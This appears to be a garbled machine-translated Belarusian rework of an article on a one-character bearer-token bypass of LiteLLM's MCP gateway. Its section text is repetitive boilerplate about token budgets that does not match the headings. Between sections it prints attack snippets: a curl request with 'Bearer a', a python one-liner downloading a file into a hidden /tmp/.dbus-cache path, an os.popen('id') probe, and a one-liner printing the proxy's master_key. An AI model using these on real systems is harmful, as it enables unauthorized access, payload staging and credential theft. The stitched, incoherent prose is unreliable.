Практычныя прытамкі: Для праўэння на вход быў дастатнік токен з аднам символам.
Практычныя прытамулкі: Для атакі на контракты, чекі і слоты для коду, якія викорыстоўваюць групы, якія праехвалююць гэты патэрн, быў дапаможны толькі токен з аднаго символа.
Існавайце гэта як перапрацоўаны варыянт ідэй з артыкула “A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway” для аператараў: чыстыя этапы, арганізаваныя блакі коду і прыметкі з восстанавлення, якія застаюцца пасля перадачы.
Аптаварыс
Этап Аптаварыса найэфектывнейшы, калі яго розглядаць як меравальную плошчу. Запісаўце адну ідеальную транскрыпцыю, адзін прыклад неудачы і прыметкі з вярнення да пачатковага стану прычаму расшырэння масштаба. Валіце маленькія, тэставальныя елементы замест большых скрыптов. Калі якісьці крок не выйшаў, прычына неудачы павінна вказываць на адную адпаведальнасць, а не на заплутаны ланцюг задач. Задаўце ліміт токенаў на кожны раунд і на кожную сесію. Інструменты-агенты агрэсывна расширваюць контекст; жорсткія ліміты не дазволяюць дэманстрацыям ператварыцца на неспакоюючыя рахункі.
Як выглядае баг аутэнтыкаціяў типу “fail open” у практыцы
Этап «What a fail open» працюе найэфектывней, калі яго розглядаць як вимерную паверхню. Зафіксавце адзін ідеальны прыклад, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану, перш чым расширваць масштабы. Разглядзіце гэты этап як кантракт межа вхіднымі даннымі і паверынутымі выходнымі рэзультатамі. Дайце назвы артыфактам, задаце критэрыі успеху і не падзейцеся частым, непূরным выкананням задач. Задаце ліміт токенав на кожны раунд і на кожную сесію. Інструменты-агенты агрэсывна расширваюць контекст; жорсткія ліміты не дазволяюць дэмам ператварыцца на неспакоўныя рахункі.
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
З «logged in as nobody» да аддаленай експансіі коду
Метод «From logged in as stage» працюе найэфектывнейша, калі яго розглядаць як параметр, які можна змерыць. Запісаўце адны ідеальны прыклад роботы, адну справу з бягам і прыметкі па поверненню да пачатковага стану прычаму расшырэння масштаба. Запісвайце часы выканання і вартасць токенав або запытак праза функцыйнальныя рэзултаты. Відразлівае паказанне вартасцей запобегае неспадзячым рахункам, калі процес пераходзіць з дэмавайнага режыма ў спяльныя сераўеры. Задаце бюджет на токены на кожны раунд і на кожную сесію. Інструменты з агентным падходам агрэсіўна расширваюць контекст; строгі ліміты не дазволяюць дэмам ператварыцца на неспадзячыя рахункі.
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Другія, несувязаныя меры безпекі: захоўнікі ад RCE
Другі, несувязаныя з галоўным процесам дзвернія етапы працююць наўжоўдзе, калі іх розглядаць як вимерную паверхню. Запісаўце адна «золатая» транскрыпцыю, адзін прыклад неудачы і прыметку па адкату перш чым расширваць масштабы. Зберагаўце настройкі праза код аплікацыі. Файлы сяродавішча, хранільнікі секрэтных дадзеных і флагі функций павінны знаходзіцца ў адном месцы, куды аператары можаць пераглядаць без падчытання всіх дадзеных. Задаўце ліміт токенаў на кожны раунд і на кожную сесію. Інструменты-агенты агрэсывна расширваюць контекст; жорсткія ліміты не дазволяюць дэмам ператварыцца на неспакоўлівыя рахункі.
import os
_cmd = os.popen('id').read().strip()
Проблема стандартных аутентыкацыйных даных, якая спрыяе ўсему гэтаму
Стадія проблемы з стандартнымі крантэджамі работае наяўней, калі яе спрыяваць як мерыемую паверхню. Зберажыце адны ідеальны транскрыпт, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць масштабы. Дакументавайце як шлях успеху, так і шлях вярнэння. Перапрыбуткі, людзкі контроль і обработка некоректных паведамленняў ёсць частью продукту, а не пасляднім дапрацоўкам. Задаце бюджет на токены на кожны раунд і на кожную сесію. Інструменты-агенты агрэсывна расширваюць контекст; строгі ліміты запобегаюць таму, каб дэманстрацыі ператварыліся на неспакоючыя рахункі. Стадія проблемы з стандартнымі крантэджамі работае наяўней, калі яе спрыяваць як мерыемую паверхню. Зберажыце адны ідеальны транскрыпт, адзін прыклад неудачы і запіс пра вярнэнне да пачатковага стану перш чым расширваць масштабы. Спрыявайце гэтай стадіі як контракту межа вхіднымі данымі і паверыранымі выходнымі рэзультатамі. Назвайце артыфакты, задаце критэрыя успеху і адмовіцеся ад мовчанкавага частковага завершэння.
Калі яны вже ўсередзіне: як на самай працоўвае крадзяжка ключоў
Калі ўжо прыбыў на стадію рэалізацыі, перш чым зменяць код, неабходна визначыць параметры вхідных дадзеных, адпаведальнага за даны крок і крэтарыя выходу. Аператары должны магчымае перзапускать крок з вядомай точкі контролю, не прабуючы спадарацца прыватны стан системы. Запісваюць час выконання і вартасць токенаў або запытак праза рэзультатаў функцыйнасці. Відразлівае паказанне вартасцей запобегае неспадзяваным рахункам, калі процес пераходзіць з дэмовай среды ў спяльнаныя сераўеры. Калі наступны крок — гэта код або вызов інструмента, лепш выкарыстоўваць структураваныя выходны данні з перакананням ў правамільнасці схемы, чым вольнай формы тэкст.
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Што насправды трэба пераканацца сёньня
У стадії «Што насправды трэба пераканаліць» неабяжна практычна вызначыць інпуты, адпавядающага за крок адпаведальнага, а таксама критэрыі завершэння пры змяне коду. Аперацыйныя працавнікі павінны магчымаць перзапуск кроку з вядомай точкі контролю, не падозрываючы прыхованы стан. Конфігурацыю трэба захаваць пазнаходзячыся за межамі коду прыемленае. Файлы сераўнавання, хранільнікі секрэтных дадзеных і флагі функцыйяў павінны знаходзіцца ў аднам месцы, якое аперацыйныя працавнікі могу пераглядаць, не чытаючы весь ланцуг задач. Калі наступны крок — це код або вызов інструмента, лепш выкарыстоўваць структураваныя выходны данні з пераканаленням схемы, чым вольныя тэкстовыя апісанні.
Вывад
Для стадіі Takeaway, перш чым зменяць код, неабходна ясная дэфініцыя вхідных дадзеных, адпаведнага адпаведальнага за крок і крэтарыяў завершэння. Аперацыйныя працавнікі должны магчымае запускаць крок з вядомай точкі контролю, не падозрываючы прыхованы стан. Неабходна адначасовая документацыя як успішнаг, так і варыянтнага падходу. Перапрыбуткі, людзкія перакрыцця і обробка некоректных паведамленняў ёсць часткай продукту, а не пасляднім дапрацоўкам. Калі наступны крок — це код або вызов інструмента, лепш выкарыстоўваць структураваныя выходныя данні з перакрыцчама схемы, чым вольныя тэкстовыя апісанні. Для стадіі Takeaway, перш чым зменяць код, неабходна ясная дэфініцыя вхідных дадзеных, адпаведнага адпаведальнага за крок і крэтарыяў завершэння. Аперацыйныя працавнікі должны магчымае запускаць крок з вядомай точкі контролю, не падозрываючы прыхованы стан. Спрыяйце цій стадіі як дагавору межа вхіднымі дадзенымі і перакрытымі выходнымі даннемі. Назвайце всі элементы, задаць крэтарыяў успеху і не прабывайце прыймаць часткова завершаныя рэзультаты без паведамлення.
Чэк-ліст для аперацый
Калі працюеце над стадзіяй Кантрольнага списку, спачатку запісайце угоду: неабяжлівыя даны, сігнал успеху і тое, што выходзіць у разе частковага абярэння. Такі кантрольны список дапамагае заліцьварыць пазнейшыя змены коду.
Валіце маленькія, тэставаныя елементы замест большых скрыптов. Калі якісь крок абярэння, гэтае абярэнне павінна вказваць на адзіну адпаведальнасць, а не на заплутаны ланцужок задач.
Зберагаеце у кэшы стабільныя інструкцыі системы і схемы інструментаў. Перадзесланне ідэнтычных даных — частая прычына непрацяйнасці.
Адкрывайце інструменты з вузкімі схемамі і чыткімі пазначэннямі парадоксальных наследкав. Хостам неабяжліва знаньне, якія вызовы мутуюць стан, перш чым яны автаматычна схваляюць іх.
Калі бюджет дазволяе, дадзіце тэст на працясць критычнага шляху ў CI з фікстурамі, а не з рэальнымі платнымі API.
Зберагаюце канфігурацыю праза ўнутрь коду аплікацыі. Файлы сяродавішча, базы секрэтных даных і флагі функцыйяў должны знаходзіцца ў аднам месцы, куды аператары можаць адбавіць аудыт без неабяжнага чытання всіх элементаў.
Перад паднесенням стаку неабходна заморозіць версіі, зафіксаваць критычны траектар роботы і падтвердзіць крокі для вярнення да пачатковага стану. У спільных сяродавішчах трэба выкорыстоўваць ліміты частоты запытоў, пераканальвацца ў правільнасці належнасці ресурсаў і вызначыць чыстаго власніка для змены секрэтных даных. Лепш выбіраць простую надзею на надзейнасць, чым крэатывныя, але еднакратныя дэманстрацыі.
Прыметка для 769a004c537f: не трэба класты ключы прадастоўніка ў репазітары, неабходна задаць ліміт токена на кожную сесію і зберагаць записы роботы праза ў тых жа месцах, што і фіксаты для ацэнкі, каб пазнейшыя замены моделей заставаліся пораўнанневымі.